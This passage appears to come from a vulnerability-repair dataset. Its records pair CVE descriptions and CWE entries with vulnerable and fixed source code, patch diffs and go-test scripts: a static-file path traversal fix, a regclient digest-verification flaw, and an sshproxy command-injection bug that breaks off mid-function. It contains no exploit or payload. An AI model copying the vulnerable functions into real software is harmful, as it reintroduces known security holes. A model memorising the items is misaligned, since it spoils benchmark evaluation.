@@\n     but if you'd like to override it, you can create a template called\n     ``static/directory_index.html``.\n     \"\"\"\n-    path = posixpath.normpath(unquote(path))\n-    path = path.lstrip('/')\n-    newpath = ''\n-    for part in path.split('/'):\n-        if not part:\n-            # Strip empty path components.\n-            continue\n-        drive, part = os.path.splitdrive(part)\n-        head, part = os.path.split(part)\n-        if part in (os.curdir, os.pardir):\n-            # Strip '.' and '..' in path.\n-            continue\n-        newpath = os.path.join(newpath, part).replace('\\\\', '/')\n-    if newpath and path != newpath:\n-        return HttpResponseRedirect(newpath)\n-    fullpath = os.path.join(document_root, newpath)\n+    path = posixpath.normpath(unquote(path)).lstrip('/')\n+    fullpath = safe_join(document_root, path)\n     if os.path.isdir(fullpath):\n         if show_indexes:\n-            return directory_index(newpath, fullpath)\n+            return directory_index(path, fullpath)\n         raise Http404(_(\"Directory indexes are not allowed here.\"))\n     if not os.path.exists(fullpath):\n         raise Http404(_('\"%(path)s\" does not exist') % {'path': fullpath})\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-24882", "cve_description": "regclient is a Docker and OCI Registry Client in Go. A malicious registry could return a different digest for a pinned manifest without detection. This vulnerability is fixed in 0.7.1.", "cwe_info": {"CWE-345": {"name": "Insufficient Verification of Data Authenticity", "description": "The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data."}}, "repo": "https://github.com/regclient/regclient", "patch_url": ["https://github.com/regclient/regclient/commit/7d17cff26c22196b5ddd66bda8c5ee4abf3d1269"], "programing_language": "Go", "vul_func": [{"id": "vul_go_75_1", "commit": "f869cf45b103dfe5f435642f5257b500d9650183", "file_path": "types/manifest/manifest.go", "start_line": 105, "end_line": 134, "snippet": "func New(opts ...Opts) (Manifest, error) {\n\tmc := manifestConfig{}\n\tfor _, opt := range opts {\n\t\topt(&mc)\n\t}\n\tc := common{\n\t\tr:         mc.r,\n\t\tdesc:      mc.desc,\n\t\trawBody:   mc.raw,\n\t\trawHeader: mc.header,\n\t}\n\t// extract fields from header where available\n\tif mc.header != nil {\n\t\tif c.desc.MediaType == \"\" {\n\t\t\tc.desc.MediaType = mediatype.Base(mc.header.Get(\"Content-Type\"))\n\t\t}\n\t\tif c.desc.Size == 0 {\n\t\t\tcl, _ := strconv.Atoi(mc.header.Get(\"Content-Length\"))\n\t\t\tc.desc.Size = int64(cl)\n\t\t}\n\t\tif c.desc.Digest == \"\" {\n\t\t\tc.desc.Digest, _ = digest.Parse(mc.header.Get(\"Docker-Content-Digest\"))\n\t\t}\n\t\tc.setRateLimit(mc.header)\n\t}\n\tif mc.orig != nil {\n\t\treturn fromOrig(c, mc.orig)\n\t}\n\treturn fromCommon(c)\n}"}, {"id": "vul_go_75_2", "commit": "f869cf45b103dfe5f435642f5257b500d9650183", "file_path": "types/manifest/manifest.go", "start_line": 367, "end_line": 452, "snippet": "func fromOrig(c common, orig interface{}) (Manifest, error) {\n\tvar mt string\n\tvar m Manifest\n\torigDigest := c.desc.Digest\n\n\tmj, err := json.Marshal(orig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tc.manifSet = true\n\tif len(c.rawBody) == 0 {\n\t\tc.rawBody = mj\n\t}\n\tif _, ok := orig.(schema1.SignedManifest); !ok {\n\t\tc.desc.Digest = c.desc.DigestAlgo().FromBytes(mj)\n\t}\n\tif c.desc.Size == 0 {\n\t\tc.desc.Size = int64(len(mj))\n\t}\n\t// create manifest based on type\n\tswitch mOrig := orig.(type) {\n\tcase schema1.Manifest:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.Docker1Manifest\n\t\tm = &docker1Manifest{\n\t\t\tcommon:   c,\n\t\t\tManifest: mOrig,\n\t\t}\n\tcase schema1.SignedManifest:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.Docker1ManifestSigned\n\t\t// recompute digest on the canonical data\n\t\tc.desc.Digest = c.desc.DigestAlgo().FromBytes(mOrig.Canonical)\n\t\tm = &docker1SignedManifest{\n\t\t\tcommon:         c,\n\t\t\tSignedManifest: mOrig,\n\t\t}\n\tcase schema2.Manifest:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.Docker2Manifest\n\t\tm = &docker2Manifest{\n\t\t\tcommon:   c,\n\t\t\tManifest: mOrig,\n\t\t}\n\tcase schema2.ManifestList:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.Docker2ManifestList\n\t\tm = &docker2ManifestList{\n\t\t\tcommon:       c,\n\t\t\tManifestList: mOrig,\n\t\t}\n\tcase v1.Manifest:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.OCI1Manifest\n\t\tm = &oci1Manifest{\n\t\t\tcommon:   c,\n\t\t\tManifest: mOrig,\n\t\t}\n\tcase v1.Index:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.OCI1ManifestList\n\t\tm = &oci1Index{\n\t\t\tcommon: c,\n\t\t\tIndex:  orig.(v1.Index),\n\t\t}\n\tcase v1.ArtifactManifest:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.OCI1Artifact\n\t\tm = &oci1Artifact{\n\t\t\tcommon:           c,\n\t\t\tArtifactManifest: mOrig,\n\t\t}\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unsupported type to convert to a manifest: %T\", orig)\n\t}\n\t// verify media type\n\terr = verifyMT(c.desc.MediaType, mt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// verify digest didn't change\n\tif origDigest != \"\" && origDigest != c.desc.Digest {\n\t\treturn nil, fmt.Errorf(\"manifest digest mismatch, expected %s, computed %s\", origDigest, c.desc.Digest)\n\t}\n\treturn m, nil\n}"}, {"id": "vul_go_75_3", "commit": "f869cf45b103dfe5f435642f5257b500d9650183", "file_path": "types/manifest/manifest.go", "start_line": 455, "end_line": 569, "snippet": "func fromCommon(c common) (Manifest, error) {\n\tvar err error\n\tvar m Manifest\n\tvar mt string\n\torigDigest := c.desc.Digest\n\t// extract common data from from rawBody\n\tif len(c.rawBody) > 0 {\n\t\tc.manifSet = true\n\t\t// extract media type from body, either explicitly or with duck typing\n\t\tif c.desc.MediaType == \"\" {\n\t\t\tmt := struct {\n\t\t\t\tMediaType     string                  `json:\"mediaType,omitempty\"`\n\t\t\t\tSchemaVersion int                     `json:\"schemaVersion,omitempty\"`\n\t\t\t\tSignatures    []interface{}           `json:\"signatures,omitempty\"`\n\t\t\t\tManifests     []descriptor.Descriptor `json:\"manifests,omitempty\"`\n\t\t\t\tLayers        []descriptor.Descriptor `json:\"layers,omitempty\"`\n\t\t\t}{}\n\t\t\terr = json.Unmarshal(c.rawBody, &mt)\n\t\t\tif mt.MediaType != \"\" {\n\t\t\t\tc.desc.MediaType = mt.MediaType\n\t\t\t} else if mt.SchemaVersion == 1 && len(mt.Signatures) > 0 {\n\t\t\t\tc.desc.MediaType = mediatype.Docker1ManifestSigned\n\t\t\t} else if mt.SchemaVersion == 1 {\n\t\t\t\tc.desc.MediaType = mediatype.Docker1Manifest\n\t\t\t} else if len(mt.Manifests) > 0 {\n\t\t\t\tif strings.HasPrefix(mt.Manifests[0].MediaType, \"application/vnd.docker.\") {\n\t\t\t\t\tc.desc.MediaType = mediatype.Docker2ManifestList\n\t\t\t\t} else {\n\t\t\t\t\tc.desc.MediaType = mediatype.OCI1ManifestList\n\t\t\t\t}\n\t\t\t} else if len(mt.Layers) > 0 {\n\t\t\t\tif strings.HasPrefix(mt.Layers[0].MediaType, \"application/vnd.docker.\") {\n\t\t\t\t\tc.desc.MediaType = mediatype.Docker2Manifest\n\t\t\t\t} else {\n\t\t\t\t\tc.desc.MediaType = mediatype.OCI1Manifest\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// compute digest\n\t\tif c.desc.MediaType != mediatype.Docker1ManifestSigned {\n\t\t\td := c.desc.DigestAlgo().FromBytes(c.rawBody)\n\t\t\tc.desc.Digest = d\n\t\t\tc.desc.Size = int64(len(c.rawBody))\n\t\t}\n\t}\n\tswitch c.desc.MediaType {\n\tcase mediatype.Docker1Manifest:\n\t\tvar mOrig schema1.Manifest\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t}\n\t\tm = &docker1Manifest{common: c, Manifest: mOrig}\n\tcase mediatype.Docker1ManifestSigned:\n\t\tvar mOrig schema1.SignedManifest\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t\td := c.desc.DigestAlgo().FromBytes(mOrig.Canonical)\n\t\t\tc.desc.Digest = d\n\t\t\tc.desc.Size = int64(len(mOrig.Canonical))\n\t\t}\n\t\tm = &docker1SignedManifest{common: c, SignedManifest: mOrig}\n\tcase mediatype.Docker2Manifest:\n\t\tvar mOrig schema2.Manifest\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t}\n\t\tm = &docker2Manifest{common: c, Manifest: mOrig}\n\tcase mediatype.Docker2ManifestList:\n\t\tvar mOrig schema2.ManifestList\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t}\n\t\tm = &docker2ManifestList{common: c, ManifestList: mOrig}\n\tcase mediatype.OCI1Manifest:\n\t\tvar mOrig v1.Manifest\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t}\n\t\tm = &oci1Manifest{common: c, Manifest: mOrig}\n\tcase mediatype.OCI1ManifestList:\n\t\tvar mOrig v1.Index\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t}\n\t\tm = &oci1Index{common: c, Index: mOrig}\n\tcase mediatype.OCI1Artifact:\n\t\tvar mOrig v1.ArtifactManifest\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t}\n\t\tm = &oci1Artifact{common: c, ArtifactManifest: mOrig}\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"%w: \\\"%s\\\"\", errs.ErrUnsupportedMediaType, c.desc.MediaType)\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error unmarshaling manifest for %s: %w\", c.r.CommonName(), err)\n\t}\n\t// verify media type\n\terr = verifyMT(c.desc.MediaType, mt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// verify digest didn't change\n\tif origDigest != \"\" && origDigest != c.desc.Digest {\n\t\treturn nil, fmt.Errorf(\"manifest digest mismatch, expected %s, computed %s\", origDigest, c.desc.Digest)\n\t}\n\treturn m, nil\n}"}], "fix_func": [{"id": "fix_go_75_1", "commit": "7d17cff26c22196b5ddd66bda8c5ee4abf3d1269", "file_path": "types/manifest/manifest.go", "start_line": 106, "end_line": 142, "snippet": "func New(opts ...Opts) (Manifest, error) {\n\tmc := manifestConfig{}\n\tfor _, opt := range opts {\n\t\topt(&mc)\n\t}\n\tc := common{\n\t\tr:         mc.r,\n\t\tdesc:      mc.desc,\n\t\trawBody:   mc.raw,\n\t\trawHeader: mc.header,\n\t}\n\tif c.r.Digest != \"\" && c.desc.Digest == \"\" {\n\t\tdig, err := digest.Parse(c.r.Digest)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to parse digest from ref: %w\", err)\n\t\t}\n\t\tc.desc.Digest = dig\n\t}\n\t// extract fields from header where available\n\tif mc.header != nil {\n\t\tif c.desc.MediaType == \"\" {\n\t\t\tc.desc.MediaType = mediatype.Base(mc.header.Get(\"Content-Type\"))\n\t\t}\n\t\tif c.desc.Size == 0 {\n\t\t\tcl, _ := strconv.Atoi(mc.header.Get(\"Content-Length\"))\n\t\t\tc.desc.Size = int64(cl)\n\t\t}\n\t\tif c.desc.Digest == \"\" {\n\t\t\tc.desc.Digest, _ = digest.Parse(mc.header.Get(\"Docker-Content-Digest\"))\n\t\t}\n\t\tc.setRateLimit(mc.header)\n\t}\n\tif mc.orig != nil {\n\t\treturn fromOrig(c, mc.orig)\n\t}\n\treturn fromCommon(c)\n}"}, {"id": "fix_go_75_2", "commit": "7d17cff26c22196b5ddd66bda8c5ee4abf3d1269", "file_path": "types/manifest/manifest.go", "start_line": 375, "end_line": 460, "snippet": "func fromOrig(c common, orig interface{}) (Manifest, error) {\n\tvar mt string\n\tvar m Manifest\n\torigDigest := c.desc.Digest\n\n\tmj, err := json.Marshal(orig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tc.manifSet = true\n\tif len(c.rawBody) == 0 {\n\t\tc.rawBody = mj\n\t}\n\tif _, ok := orig.(schema1.SignedManifest); !ok {\n\t\tc.desc.Digest = c.desc.DigestAlgo().FromBytes(mj)\n\t}\n\tif c.desc.Size == 0 {\n\t\tc.desc.Size = int64(len(mj))\n\t}\n\t// create manifest based on type\n\tswitch mOrig := orig.(type) {\n\tcase schema1.Manifest:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.Docker1Manifest\n\t\tm = &docker1Manifest{\n\t\t\tcommon:   c,\n\t\t\tManifest: mOrig,\n\t\t}\n\tcase schema1.SignedManifest:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.Docker1ManifestSigned\n\t\t// recompute digest on the canonical data\n\t\tc.desc.Digest = c.desc.DigestAlgo().FromBytes(mOrig.Canonical)\n\t\tm = &docker1SignedManifest{\n\t\t\tcommon:         c,\n\t\t\tSignedManifest: mOrig,\n\t\t}\n\tcase schema2.Manifest:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.Docker2Manifest\n\t\tm = &docker2Manifest{\n\t\t\tcommon:   c,\n\t\t\tManifest: mOrig,\n\t\t}\n\tcase schema2.ManifestList:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.Docker2ManifestList\n\t\tm = &docker2ManifestList{\n\t\t\tcommon:       c,\n\t\t\tManifestList: mOrig,\n\t\t}\n\tcase v1.Manifest:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.OCI1Manifest\n\t\tm = &oci1Manifest{\n\t\t\tcommon:   c,\n\t\t\tManifest: mOrig,\n\t\t}\n\tcase v1.Index:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.OCI1ManifestList\n\t\tm = &oci1Index{\n\t\t\tcommon: c,\n\t\t\tIndex:  orig.(v1.Index),\n\t\t}\n\tcase v1.ArtifactManifest:\n\t\tmt = mOrig.MediaType\n\t\tc.desc.MediaType = mediatype.OCI1Artifact\n\t\tm = &oci1Artifact{\n\t\t\tcommon:           c,\n\t\t\tArtifactManifest: mOrig,\n\t\t}\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unsupported type to convert to a manifest: %T\", orig)\n\t}\n\t// verify media type\n\terr = verifyMT(c.desc.MediaType, mt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// verify digest didn't change\n\tif origDigest != \"\" && origDigest != c.desc.Digest {\n\t\treturn nil, fmt.Errorf(\"manifest digest mismatch, expected %s, computed %s%.0w\", origDigest, c.desc.Digest, errs.ErrDigestMismatch)\n\t}\n\treturn m, nil\n}"}, {"id": "fix_go_75_3", "commit": "7d17cff26c22196b5ddd66bda8c5ee4abf3d1269", "file_path": "types/manifest/manifest.go", "start_line": 463, "end_line": 577, "snippet": "func fromCommon(c common) (Manifest, error) {\n\tvar err error\n\tvar m Manifest\n\tvar mt string\n\torigDigest := c.desc.Digest\n\t// extract common data from from rawBody\n\tif len(c.rawBody) > 0 {\n\t\tc.manifSet = true\n\t\t// extract media type from body, either explicitly or with duck typing\n\t\tif c.desc.MediaType == \"\" {\n\t\t\tmt := struct {\n\t\t\t\tMediaType     string                  `json:\"mediaType,omitempty\"`\n\t\t\t\tSchemaVersion int                     `json:\"schemaVersion,omitempty\"`\n\t\t\t\tSignatures    []interface{}           `json:\"signatures,omitempty\"`\n\t\t\t\tManifests     []descriptor.Descriptor `json:\"manifests,omitempty\"`\n\t\t\t\tLayers        []descriptor.Descriptor `json:\"layers,omitempty\"`\n\t\t\t}{}\n\t\t\terr = json.Unmarshal(c.rawBody, &mt)\n\t\t\tif mt.MediaType != \"\" {\n\t\t\t\tc.desc.MediaType = mt.MediaType\n\t\t\t} else if mt.SchemaVersion == 1 && len(mt.Signatures) > 0 {\n\t\t\t\tc.desc.MediaType = mediatype.Docker1ManifestSigned\n\t\t\t} else if mt.SchemaVersion == 1 {\n\t\t\t\tc.desc.MediaType = mediatype.Docker1Manifest\n\t\t\t} else if len(mt.Manifests) > 0 {\n\t\t\t\tif strings.HasPrefix(mt.Manifests[0].MediaType, \"application/vnd.docker.\") {\n\t\t\t\t\tc.desc.MediaType = mediatype.Docker2ManifestList\n\t\t\t\t} else {\n\t\t\t\t\tc.desc.MediaType = mediatype.OCI1ManifestList\n\t\t\t\t}\n\t\t\t} else if len(mt.Layers) > 0 {\n\t\t\t\tif strings.HasPrefix(mt.Layers[0].MediaType, \"application/vnd.docker.\") {\n\t\t\t\t\tc.desc.MediaType = mediatype.Docker2Manifest\n\t\t\t\t} else {\n\t\t\t\t\tc.desc.MediaType = mediatype.OCI1Manifest\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// compute digest\n\t\tif c.desc.MediaType != mediatype.Docker1ManifestSigned {\n\t\t\td := c.desc.DigestAlgo().FromBytes(c.rawBody)\n\t\t\tc.desc.Digest = d\n\t\t\tc.desc.Size = int64(len(c.rawBody))\n\t\t}\n\t}\n\tswitch c.desc.MediaType {\n\tcase mediatype.Docker1Manifest:\n\t\tvar mOrig schema1.Manifest\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t}\n\t\tm = &docker1Manifest{common: c, Manifest: mOrig}\n\tcase mediatype.Docker1ManifestSigned:\n\t\tvar mOrig schema1.SignedManifest\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t\td := c.desc.DigestAlgo().FromBytes(mOrig.Canonical)\n\t\t\tc.desc.Digest = d\n\t\t\tc.desc.Size = int64(len(mOrig.Canonical))\n\t\t}\n\t\tm = &docker1SignedManifest{common: c, SignedManifest: mOrig}\n\tcase mediatype.Docker2Manifest:\n\t\tvar mOrig schema2.Manifest\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t}\n\t\tm = &docker2Manifest{common: c, Manifest: mOrig}\n\tcase mediatype.Docker2ManifestList:\n\t\tvar mOrig schema2.ManifestList\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t}\n\t\tm = &docker2ManifestList{common: c, ManifestList: mOrig}\n\tcase mediatype.OCI1Manifest:\n\t\tvar mOrig v1.Manifest\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t}\n\t\tm = &oci1Manifest{common: c, Manifest: mOrig}\n\tcase mediatype.OCI1ManifestList:\n\t\tvar mOrig v1.Index\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t}\n\t\tm = &oci1Index{common: c, Index: mOrig}\n\tcase mediatype.OCI1Artifact:\n\t\tvar mOrig v1.ArtifactManifest\n\t\tif len(c.rawBody) > 0 {\n\t\t\terr = json.Unmarshal(c.rawBody, &mOrig)\n\t\t\tmt = mOrig.MediaType\n\t\t}\n\t\tm = &oci1Artifact{common: c, ArtifactManifest: mOrig}\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"%w: \\\"%s\\\"\", errs.ErrUnsupportedMediaType, c.desc.MediaType)\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error unmarshaling manifest for %s: %w\", c.r.CommonName(), err)\n\t}\n\t// verify media type\n\terr = verifyMT(c.desc.MediaType, mt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// verify digest didn't change\n\tif origDigest != \"\" && origDigest != c.desc.Digest {\n\t\treturn nil, fmt.Errorf(\"manifest digest mismatch, expected %s, computed %s%.0w\", origDigest, c.desc.Digest, errs.ErrDigestMismatch)\n\t}\n\treturn m, nil\n}"}], "vul_patch": "--- a/types/manifest/manifest.go\n+++ b/types/manifest/manifest.go\n@@ -8,6 +8,13 @@\n \t\tdesc:      mc.desc,\n \t\trawBody:   mc.raw,\n \t\trawHeader: mc.header,\n+\t}\n+\tif c.r.Digest != \"\" && c.desc.Digest == \"\" {\n+\t\tdig, err := digest.Parse(c.r.Digest)\n+\t\tif err != nil {\n+\t\t\treturn nil, fmt.Errorf(\"failed to parse digest from ref: %w\", err)\n+\t\t}\n+\t\tc.desc.Digest = dig\n \t}\n \t// extract fields from header where available\n \tif mc.header != nil {\n\n--- a/types/manifest/manifest.go\n+++ b/types/manifest/manifest.go\n@@ -80,7 +80,7 @@\n \t}\n \t// verify digest didn't change\n \tif origDigest != \"\" && origDigest != c.desc.Digest {\n-\t\treturn nil, fmt.Errorf(\"manifest digest mismatch, expected %s, computed %s\", origDigest, c.desc.Digest)\n+\t\treturn nil, fmt.Errorf(\"manifest digest mismatch, expected %s, computed %s%.0w\", origDigest, c.desc.Digest, errs.ErrDigestMismatch)\n \t}\n \treturn m, nil\n }\n\n--- a/types/manifest/manifest.go\n+++ b/types/manifest/manifest.go\n@@ -109,7 +109,7 @@\n \t}\n \t// verify digest didn't change\n \tif origDigest != \"\" && origDigest != c.desc.Digest {\n-\t\treturn nil, fmt.Errorf(\"manifest digest mismatch, expected %s, computed %s\", origDigest, c.desc.Digest)\n+\t\treturn nil, fmt.Errorf(\"manifest digest mismatch, expected %s, computed %s%.0w\", origDigest, c.desc.Digest, errs.ErrDigestMismatch)\n \t}\n \treturn m, nil\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-24882:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/regclient\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestNew$ github.com/regclient/regclient/types/manifest \n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-24882:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/regclient\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestModify|TestSet)$' "}
{"cve_id": "CVE-2024-34713", "cve_description": "sshproxy is used on a gateway to transparently proxy a user SSH connection on the gateway to an internal host via SSH. Prior to version 1.6.3, any user authorized to connect to a ssh server using `sshproxy` can inject options to the `ssh` command executed by `sshproxy`. All versions of `sshproxy` are impacted. The problem is patched starting in version 1.6.3. The only workaround is to use the `force_command` option in `sshproxy.yaml`, but it's rarely relevant.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/cea-hpc/sshproxy", "patch_url": ["https://github.com/cea-hpc/sshproxy/commit/f7eabd05d5f0f951e160293692327cad9a7d9580", "https://github.com/cea-hpc/sshproxy/commit/3b8bccc874dc4ca2c80c956cad65722abb46f0b9"], "programing_language": "Go", "vul_func": [{"id": "vul_go_164_1", "commit": "378c9b2", "file_path": "cmd/sshproxy/sshproxy.go", "start_line": 237, "end_line": 523, "snippet": "func mainExitCode() int {\n\tdefer func() {\n\t\t// log error in case of panic()\n\t\tif err := recover(); err != nil {\n\t\t\tlog.Errorf(\"program panicked: %s\", err)\n\t\t\tlog.Errorf(\"Stack: %s\", debug.Stack())\n\t\t}\n\t}()\n\n\tvar err error\n\tstart := time.Now()\n\n\tversionFlag := flag.Bool(\"version\", false, \"show version number and exit\")\n\tflag.Usage = usage\n\tflag.Parse()\n\n\tif *versionFlag {\n\t\tfmt.Fprintf(os.Stderr, \"sshproxy version %s\\n\", SshproxyVersion)\n\t\treturn 0\n\t}\n\n\tconfigFile := defaultConfig\n\tif flag.NArg() != 0 {\n\t\tconfigFile = flag.Arg(0)\n\t}\n\n\tcurrentUser, err := user.Current()\n\tif err != nil {\n\t\tlog.Fatalf(\"Cannot find current user: %s\", err)\n\t}\n\tusername := currentUser.Username\n\n\tsshConnection := os.Getenv(\"SSH_CONNECTION\")\n\tif sshConnection == \"\" {\n\t\tlog.Fatal(\"No SSH_CONNECTION environment variable\")\n\t}\n\n\tsshInfos, err := NewSSHInfo(sshConnection)\n\tif err != nil {\n\t\tlog.Fatalf(\"parsing SSH_CONNECTION '%s': %s\", sshConnection, err)\n\t}\n\n\tconninfo := &ConnInfo{\n\t\tStart: start,\n\t\tUser:  username,\n\t\tSSH:   sshInfos,\n\t}\n\n\tsid := utils.CalcSessionID(conninfo.User, conninfo.Start, conninfo.SSH.Src())\n\n\tgroups, err := utils.GetGroups()\n\tif err != nil {\n\t\tlog.Fatalf(\"Cannot find current user groups: %s\", err)\n\t}\n\n\tconfig, err := utils.LoadConfig(configFile, username, sid, start, groups)\n\tif err != nil {\n\t\tlog.Fatalf(\"Reading configuration '%s': %s\", configFile, err)\n\t}\n\n\tlogformat := fmt.Sprintf(\"%%{time:2006-01-02 15:04:05} %%{level} %s: %%{message}\", sid)\n\tsyslogformat := fmt.Sprintf(\"%%{level} %s: %%{message}\", sid)\n\tutils.MustSetupLogging(\"sshproxy\", config.Log, logformat, syslogformat, config.Debug)\n\n\tfor _, configLine := range utils.PrintConfig(config, groups) {\n\t\tlog.Debug(configLine)\n\t}\n\n\tlog.Infof(\"%s connected from %s to sshd listening on %s\", username, sshInfos.Src(), sshInfos.Dst())\n\tdefer log.Info(\"disconnected\")\n\n\tcli, err := utils.NewEtcdClient(config, log)\n\tif err != nil {\n\t\tlog.Errorf(\"Cannot contact etcd cluster to update state: %v\", err)\n\t}\n\n\tif cli != nil && cli.IsAlive() {\n\t\tif config.MaxConnectionsPerUser > 0 {\n\t\t\tuserConnectionsCount, err := cli.GetUserConnectionsCount(username)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Getting user connections count: %s\", err)\n\t\t\t}\n\t\t\tlog.Debugf(\"Number of connections of %s: %d\", username, userConnectionsCount)\n\t\t\tif userConnectionsCount >= config.MaxConnectionsPerUser {\n\t\t\t\tfmt.Fprintln(os.Stderr, \"Too many simultaneous connections\")\n\t\t\t\tlog.Fatalf(\"Max connections per user reached for %s\", username)\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif config.Etcd.Mandatory {\n\t\t\tlog.Fatal(\"Etcd is mandatory but unavailable\")\n\t\t}\n\t}\n\n\tservice, hostport, forceCommand, commandMustMatch, etcdKeyTTL, environment, err := findDestination(cli, username, config.Routes, sshInfos.Dst(), config.CheckInterval)\n\tswitch {\n\tcase err != nil:\n\t\tlog.Fatalf(\"Finding destination: %s\", err)\n\tcase hostport == \"\":\n\t\terrorBanner := \"\"\n\t\tif cli != nil && cli.IsAlive() {\n\t\t\terrorBanner, _, _ = cli.GetErrorBanner()\n\t\t}\n\t\tif errorBanner == \"\" {\n\t\t\terrorBanner = config.ErrorBanner\n\t\t}\n\t\tif errorBanner != \"\" {\n\t\t\tfmt.Println(errorBanner)\n\t\t}\n\t\tlog.Fatal(\"Cannot find a valid destination\")\n\t}\n\thost, port, err := utils.SplitHostPort(hostport)\n\tif err != nil {\n\t\tlog.Fatalf(\"Invalid destination '%s': %s\", hostport, err)\n\t}\n\n\tlog.Debugf(\"service = %s\", service)\n\n\t// merge service environment with global environment\n\tfor k, v := range environment {\n\t\tconfig.Environment[k] = v\n\t}\n\tsetEnvironment(config.Environment)\n\n\t// waitgroup and channel to stop our background command when exiting.\n\tvar wg sync.WaitGroup\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer func() {\n\t\tcancel()\n\t\twg.Wait()\n\t}()\n\n\tsigChannel := make(chan os.Signal, 1)\n\tsignal.Notify(sigChannel, os.Interrupt, syscall.SIGHUP, syscall.SIGTERM)\n\tgo func() {\n\t\ts := <-sigChannel\n\t\tlog.Infof(\"Got signal %s, exiting\", s)\n\t\tcancel()\n\t}()\n\n\tvar etcdPath string\n\tvar tmpKeepAliveChan <-chan *clientv3.LeaseKeepAliveResponse\n\t// Register destination in etcd and keep it alive while running.\n\tif cli != nil && cli.IsAlive() {\n\t\tkey := fmt.Sprintf(\"%s@%s\", username, service)\n\t\tkeepAliveChan, eP, err := cli.SetDestination(ctx, key, sshInfos.Dst(), hostport, 